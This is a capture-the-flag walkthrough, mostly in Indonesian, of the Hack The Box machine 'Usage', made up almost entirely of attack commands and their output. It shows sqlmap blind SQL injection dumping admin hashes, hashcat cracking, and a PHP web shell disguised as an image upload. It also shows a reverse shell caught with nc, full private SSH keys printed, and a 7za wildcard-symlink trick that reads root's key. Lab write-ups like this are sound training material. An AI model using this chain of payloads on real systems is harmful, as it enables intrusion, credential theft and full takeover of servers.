Usage

Information Gathering

Port and Service

Nmap scan report for 10.10.11.18
Host is up (0.025s latency).
Not shown: 65471 closed tcp ports (reset), 62 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.69 seconds

┌──(me㉿kali)-[~/ctf/usage]
└─$ curl -sIL 10.10.11.18
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 29 Apr 2025 11:21:25 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://usage.htb/

Initial Access

pada halaman forget password rentan terhadap SQL Injection

http://usage.htb/forget-password

disini saya menggunakan sqlmap untuk dumping dbnya

┌──(me㉿kali)-[~/ctf/usage]
└─$ sqlmap -u "http://usage.htb/forget-password" --data "_token=4sIzCiwrFWGu7U48UcPppWJS01P4GS1eJ00Ackqc&email=admin%40gmail.com*" -H "Cookie: XSRF-TOKEN=eyJpdiI6Iko2b0tVNzBFQkw2dFpJNS9jT2NIU2c9PSIsInZhbHVlIjoiYnorS1JXZWo2SnROL0N5V3pJajNwOUllemlMWk96TjMyUHRrcnIvK0tqR3FXT3FNZ2NvZDlXaVg5Q3poaGFjT1ZpV0ZGZ01EbVFyNHgyN1ZLUkZxMnlIQUZQNEJoMlpaaGFqeUZycFdWc1l0YWlxdVBkRGx4c0pwUHRZYXlJSXciLCJtYWMiOiIwNjM1Mzc2MjM4NzUwZWY4OWZkOGI3YTg1NGMxYWIxNGExMTQ3ODFkYzcwMTZiNDVkYTIzZmNiYmY1NTk1MTBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJLRk90YTBpcXlRVnRaOVFTcitxWHc9PSIsInZhbHVlIjoib0UwY1ZyU1lhWW5la21PeHVyOGJOY0daMVlPTnQ4RStKSWZiTnp5T2xkVkZwN0hJTFBGazRFUmhLSDhaSjkraVdrTEE1TDFKakIvRE9UUWhUWXBBTDVvUE53QnBlVDdaSkNHOENISlhUOEpoK2NXU3VBeUFZU3l2U0VKWnJma2ciLCJtYWMiOiIyMWZlM2U2MDU1NzBjODczYTJmNGMyOTA1N2FmNWRlMzZjNjk2NDM4ODVjYjJlYzE4NzMxYzA5MTk5NzY1ZWM3IiwidGFnIjoiIn0%3D" --random-agent --risk 3 --level 5 -D usage_blog --technique=B --dbs  
[-- SNIP --]
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=4sIzCiwrFWGu7U48UcPppWJS01P4GS1eJ00Ackqc&email=1' AND 7028=(SELECT (CASE WHEN (7028=7028) THEN 7028 ELSE (SELECT 1327 UNION SELECT 4823) END))-- WsBO
---
[18:44:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL 8
[18:44:24] [INFO] fetching database names
[18:44:24] [INFO] fetching number of databases
[18:44:24] [INFO] resumed: 3
[18:44:24] [INFO] resumed: information_schema
[18:44:24] [INFO] resumed: performance_schema
[18:44:24] [INFO] resumed: usage_blog
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog

[18:44:24] [INFO] fetched data logged to text files under '/home/me/.local/share/sqlmap/output/usage.htb'

[*] ending @ 18:44:24 /2025-04-29/

┌──(me㉿kali)-[~/ctf/usage]
└─$ sqlmap -u "http://usage.htb/forget-password" --data "_token=4sIzCiwrFWGu7U48UcPppWJS01P4GS1eJ00Ackqc&email=admin%40gmail.com*" -H "Cookie: XSRF-TOKEN=eyJpdiI6Iko2b0tVNzBFQkw2dFpJNS9jT2NIU2c9PSIsInZhbHVlIjoiYnorS1JXZWo2SnROL0N5V3pJajNwOUllemlMWk96TjMyUHRrcnIvK0tqR3FXT3FNZ2NvZDlXaVg5Q3poaGFjT1ZpV0ZGZ01EbVFyNHgyN1ZLUkZxMnlIQUZQNEJoMlpaaGFqeUZycFdWc1l0YWlxdVBkRGx4c0pwUHRZYXlJSXciLCJtYWMiOiIwNjM1Mzc2MjM4NzUwZWY4OWZkOGI3YTg1NGMxYWIxNGExMTQ3ODFkYzcwMTZiNDVkYTIzZmNiYmY1NTk1MTBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJLRk90YTBpcXlRVnRaOVFTcitxWHc9PSIsInZhbHVlIjoib0UwY1ZyU1lhWW5la21PeHVyOGJOY0daMVlPTnQ4RStKSWZiTnp5T2xkVkZwN0hJTFBGazRFUmhLSDhaSjkraVdrTEE1TDFKakIvRE9UUWhUWXBBTDVvUE53QnBlVDdaSkNHOENISlhUOEpoK2NXU3VBeUFZU3l2U0VKWnJma2ciLCJtYWMiOiIyMWZlM2U2MDU1NzBjODczYTJmNGMyOTA1N2FmNWRlMzZjNjk2NDM4ODVjYjJlYzE4NzMxYzA5MTk5NzY1ZWM3IiwidGFnIjoiIn0%3D" --random-agent --risk 3 --level 5 -D usage_blog --technique=B -D usage_blog --tables
[-- SNIP --]
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+

[19:09:14] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 504 times
[19:09:14] [INFO] fetched data logged to text files under '/home/me/.local/share/sqlmap/output/usage.htb'

[*] ending @ 19:09:14 /2025-04-29/

saya akan dump admin_users

┌──(me㉿kali)-[~/ctf/usage]
└─$ sqlmap -u "http://usage.htb/forget-password" --data "_token=4sIzCiwrFWGu7U48UcPppWJS01P4GS1eJ00Ackqc&email=admin%40gmail.com*" -H "Cookie: XSRF-TOKEN=eyJpdiI6Iko2b0tVNzBFQkw2dFpJNS9jT2NIU2c9PSIsInZhbHVlIjoiYnorS1JXZWo2SnROL0N5V3pJajNwOUllemlMWk96TjMyUHRrcnIvK0tqR3FXT3FNZ2NvZDlXaVg5Q3poaGFjT1ZpV0ZGZ01EbVFyNHgyN1ZLUkZxMnlIQUZQNEJoMlpaaGFqeUZycFdWc1l0YWlxdVBkRGx4c0pwUHRZYXlJSXciLCJtYWMiOiIwNjM1Mzc2MjM4NzUwZWY4OWZkOGI3YTg1NGMxYWIxNGExMTQ3ODFkYzcwMTZiNDVkYTIzZmNiYmY1NTk1MTBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJLRk90YTBpcXlRVnRaOVFTcitxWHc9PSIsInZhbHVlIjoib0UwY1ZyU1lhWW5la21PeHVyOGJOY0daMVlPTnQ4RStKSWZiTnp5T2xkVkZwN0hJTFBGazRFUmhLSDhaSjkraVdrTEE1TDFKakIvRE9UUWhUWXBBTDVvUE53QnBlVDdaSkNHOENISlhUOEpoK2NXU3VBeUFZU3l2U0VKWnJma2ciLCJtYWMiOiIyMWZlM2U2MDU1NzBjODczYTJmNGMyOTA1N2FmNWRlMzZjNjk2NDM4ODVjYjJlYzE4NzMxYzA5MTk5NzY1ZWM3IiwidGFnIjoiIn0%3D" --random-agent --risk 3 --level 5 -D usage_blog --technique=B -D usage_blog -T admin_users --dump
[-- SNIP --]
[19:14:27] [INFO] retrieved: admin
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+

disini saya crack dengan hashcat

┌──(me㉿kali)-[~/ctf/usage]
└─$ hashcat -m 3200 hash  /usr/share/wordlists/rockyou.txt
[-- SNIP --]
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1

saya mencoba login ke usage.htb tapi tidak bisa, saya teringat ada admin.usage.htb jadi saya login kesana dan berhasil masuk ke dashboard

┌──(me㉿kali)-[~/ctf/usage]
└─$ cat test.php                     
<?php echo system($_GET['cmd']); ?>

┌──(me㉿kali)-[~/ctf/usage]
└─$ mv test.php test.jpg

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

┌──(me㉿kali)-[~/ctf/usage]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.18] 55108
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 12:13:01 up 2 days,  2:47,  0 users,  load average: 0.00, 0.03, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(dash) gid=1000(dash) groups=1000(dash)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(dash) gid=1000(dash) groups=1000(dash)
$

$ ls -la
total 52
drwxr-x--- 6 dash dash 4096 Apr 29 12:15 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2  2024 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26  2023 .monit.id
-rw-r--r-- 1 dash dash    6 Apr 29 12:15 .monit.pid
-rw------- 1 dash dash 1192 Apr 29 12:15 .monit.state
-rwx------ 1 dash dash  707 Oct 26  2023 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Apr 27 09:26 user.txt
$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----

┌──(me㉿kali)-[~/ctf/usage]
└─$ nano dash.rsa
                                                                                                                               
┌──(me㉿kali)-[~/ctf/usage]
└─$ chmod 600 dash.rsa                                    
                                                                                                                               
┌──(me㉿kali)-[~/ctf/usage]
└─$ ssh -i dash.rsa [email protected]         
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Tue Apr 29 12:17:15 PM UTC 2025

  System load:  0.1591796875      Processes:             226
  Usage of /:   69.0% of 6.53GB   Users logged in:       0
  Memory usage: 22%               IPv4 address for eth0: 10.10.11.18
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Apr  8 12:35:43 2024 from 10.10.14.40
dash@usage:~$

dash@usage:~$ ls -la
total 12280
drwxr-x--- 8 dash dash    4096 Apr 29 20:00 .
drwxr-xr-x 4 root root    4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root       9 Apr  2  2024 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash    3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash    4096 Aug  7  2023 .cache
-rwxrwxr-x 1 dash dash 9371800 Sep 28  2024 chisel
drwxrwxr-x 5 dash dash    4096 Apr 29 19:32 .config
drwx------ 3 dash dash    4096 Apr 29 12:46 .gnupg
-rw-r--r-- 1 dash dash   26244 Apr 29 12:48 index.html
drwxrwxr-x 3 dash dash    4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash      32 Oct 26  2023 .monit.id
-rw-r--r-- 1 dash dash       7 Apr 29 20:00 .monit.pid
-rwx------ 1 dash dash     707 Oct 26  2023 .monitrc
-rw------- 1 dash dash    1192 Apr 29 20:00 .monit.state
-rw------- 1 dash dash     106 Apr 29 12:58 .mysql_history
-rw-r--r-- 1 dash dash     807 Jan  6  2022 .profile
-rwxr-xr-x 1 dash dash 3104768 Mar 25 13:07 pspy64
drwx------ 3 dash dash    4096 Apr 29 12:21 snap
drwx------ 2 dash dash    4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash      33 Apr 27 09:26 user.txt
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert


#System Monitoring 
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert 
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert
dash@usage:~$

dash@usage:~$ cat /etc/passwd | grep home
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash
dash@usage:~$

dash@usage:~$ su xander
Password: 
xander@usage:/home/dash$

xander@usage:/home/dash$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management
xander@usage:/home/dash$

xander@usage:/home/dash$ /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):

xander@usage:/home/dash$ strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
system
__isoc99_scanf
perror
printf
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 
Invalid choice.
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
usage_management.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
backupMysqlData
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
_fini
chdir@GLIBC_2.2.5
backupWebContent
system@GLIBC_2.2.5
printf@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
resetAdminPassword
perror@GLIBC_2.2.5
__isoc99_scanf@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/wildcards-spare-tricks.html#7z

xander@usage:/var/www/html$ cd /var/www/html
xander@usage:/var/www/html$ touch @asdasd;ln -s /root/.ssh/id_rsa asdasd
xander@usage:/var/www/html$ ll
total 16
drwxrwxrwx  4 root   xander 4096 Apr 29 20:04  ./
drwxr-xr-x  3 root   root   4096 Apr  2  2024  ../
-rw-rw-r--  1 xander xander    0 Apr 29 20:04 '@asdasd'
lrwxrwxrwx  1 xander xander   17 Apr 29 20:04  asdasd -> /root/.ssh/id_rsa
drwxrwxr-x 13 dash   dash   4096 Apr  2  2024  project_admin/
drwxrwxr-x 12 dash   dash   4096 Apr  2  2024  usage_blog/
xander@usage:/var/www/html$

xander@usage:/var/www/html$ sudo usage_management 
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7313P 16-Core Processor                (A00F11),ASM,AES-NI)

Open archive: /var/backups/project.zip
--       
Path = /var/backups/project.zip
Type = zip
Physical Size = 54843044

Scanning the drive:
          
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----


WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW


WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi


WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q


WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs


WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=


WARNING: No more files
-----END OPENSSH PRIVATE KEY-----

2984 folders, 17948 files, 113879401 bytes (109 MiB)

Updating archive: /var/backups/project.zip

Items to compress: 20932

                                                                               
Files read from disk: 17948
Archive size: 54843044 bytes (53 MiB)

Scan WARNINGS for files and folders:

-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7
xander@usage:/var/www/html$

┌──(kali㉿kali)-[~/ctf/linux/usage]
└─$ chmod 600 root.rsa            
                                                                                                                                                                               
┌──(kali㉿kali)-[~/ctf/linux/usage]
└─$ ssh -i root.rsa [email protected]
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Tue Apr 29 08:05:07 PM UTC 2025

  System load:  0.4599609375      Processes:             236
  Usage of /:   72.5% of 6.53GB   Users logged in:       1
  Memory usage: 28%               IPv4 address for eth0: 10.10.11.18
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Apr 29 19:56:39 2025 from 10.10.14.17
root@usage:~#

root@usage:~# ls 
cleanup.sh  root.txt  snap  usage_management.c
root@usage:~# cat usage_management.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void backupWebContent() {
    if (chdir("/var/www/html") == 0) {
        // Change working directory to /var/www/html
        //char* filename = "project.zip";
        // Use 7za to create a backup in the parent directory
        system("/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *");
    } else {
        perror("Error changing working directory to /var/www/html");
    }
}

void backupMysqlData() {
    // Use mysqldump to create a backup of the MySQL data
    system("/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql");
}

void resetAdminPassword() {
    // Use MySQL command to reset the admin password
    //system("mysql -D usage_blog -e 'UPDATE admin_users SET password=\"whatever1\" WHERE username=\"admin\";'");
      printf("Password has been reset.\n");
}

int main() {
    int choice;

    printf("Choose an option:\n");
    printf("1. Project Backup\n");
    printf("2. Backup MySQL data\n");
    printf("3. Reset admin password\n");
    printf("Enter your choice (1/2/3): ");
    scanf("%d", &choice);

    switch (choice) {
        case 1:
            backupWebContent();
            break;
        case 2:
            backupMysqlData();
            break;
        case 3:
            resetAdminPassword();
            break;
        default:
            printf("Invalid choice.\n");
            break;
    }

    return 0;
}

root@usage:~#

PreviousBoardLight NextNibbles

Last updated 7 months ago